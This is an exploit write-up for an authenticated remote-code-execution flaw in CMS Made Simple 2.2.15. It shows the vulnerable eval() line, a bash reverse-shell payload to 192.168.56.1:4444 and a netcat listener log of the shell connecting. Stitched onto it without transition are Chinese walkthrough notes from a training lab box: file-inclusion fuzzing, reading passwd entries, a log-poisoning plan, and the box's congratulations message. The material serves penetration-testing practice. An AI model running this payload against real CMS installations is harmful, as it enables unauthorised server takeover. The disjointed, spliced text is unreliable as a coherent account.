# Exploit Title: CMS Made Simple 2.2.15 - RCE (Authenticated)
# Author: Andrey Stoykov
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms
# Version: 2.2.15
# Tested on: Debian 10 LAMPP
# Exploit and Detailed Info: https://infosecresearchlab.blogspot.com/2020/12/cms-made-simple-2215-authenticated-rce.html
Vulnerability is present at "editusertag.php" at line #93 where the user input is in eval() PHP function.
// Vulnerable eval() code
if (eval('function testfunction'.rand().'() {'.$code."\n}") === FALSE) {
Reproduction Steps:
1. Login as administrator user and navigate to Extensions->User Defined Tags
2. Add code with the payload of:
exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.56.1/4444 0>&1'");
3. Click on the newly created User Defined Tag and use the Run function
RCE will be achieved:
astoykov@Lubuntu:~$ nc -kvlp 4444
nc: getnameinfo: Temporary failure in name resolution
Connection received on 192.168.56.132 53690
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
但是需要管理员用户登录！
所以我们要先获得管理员得账号密码！靶机开放了3306端口，可能密码就在其中！
现在可以利用得只有web服务了！
80、443、9090端口！
/test.php
提示缺少参数，我们猜一下。常用的参数也就path，file,files,admin,page,....
经过尝试，确实是file参数。这里靶机存在文件包含漏洞！
┌──(root㉿ru)-[~/kali]
└─# cat user | grep "/home" | grep -v "nologin"
qiu:x:1000:1000:qiu:/home/qiu:/bin/bash
存在用户qiu。
如果这里你没有猜出参数是file，你也可以使用模糊测试，直接fuzz。可以使用工具ffuf、wfuzz等！

文件包含漏洞
文件包含漏洞的利用方式：
在前期我们已经知道靶机为linux系统的。我们可以把木马写入到靶机中，木马会把靶机的日志记录，那么我们只需要利用文件包含漏洞包含日志文件即可getshell。
在此之前，我们要先知道靶机的日志路径。按理说应该在/var/log/apache2/目录下的！我们可以fuzz一下！

但是还什么可以利用的！
既然这样的话，没办法了。我们只能从用户入手，在前面我获取到了一个用户 qiu。

Hi!
Congratulations on rooting yet another box in the digitalworld.local series!
You may have first discovered the digitalworld.local series from looking for deliberately vulnerably machines to practise for the PEN-200 (thank you TJ_Null for featuring my boxes on the training list!)
I hope to have played my little part at enriching your PEN-200 journey.
Want to find the author? Find the author on Linkedin by rooting other boxes in this series!

你好
祝贺您在digitalworld.local系列中又找到了一个盒子！
您可能是通过寻找故意易受攻击的机器来练习PEN-200而首次发现digitalworld.local系列的（感谢TJ_Null将我的盒子列入培训列表！）
我希望在丰富您的PEN-200之旅中发挥我的一点作用。
想找到作者吗？在Linkedin上找到作者，在这个系列中查找其他框！
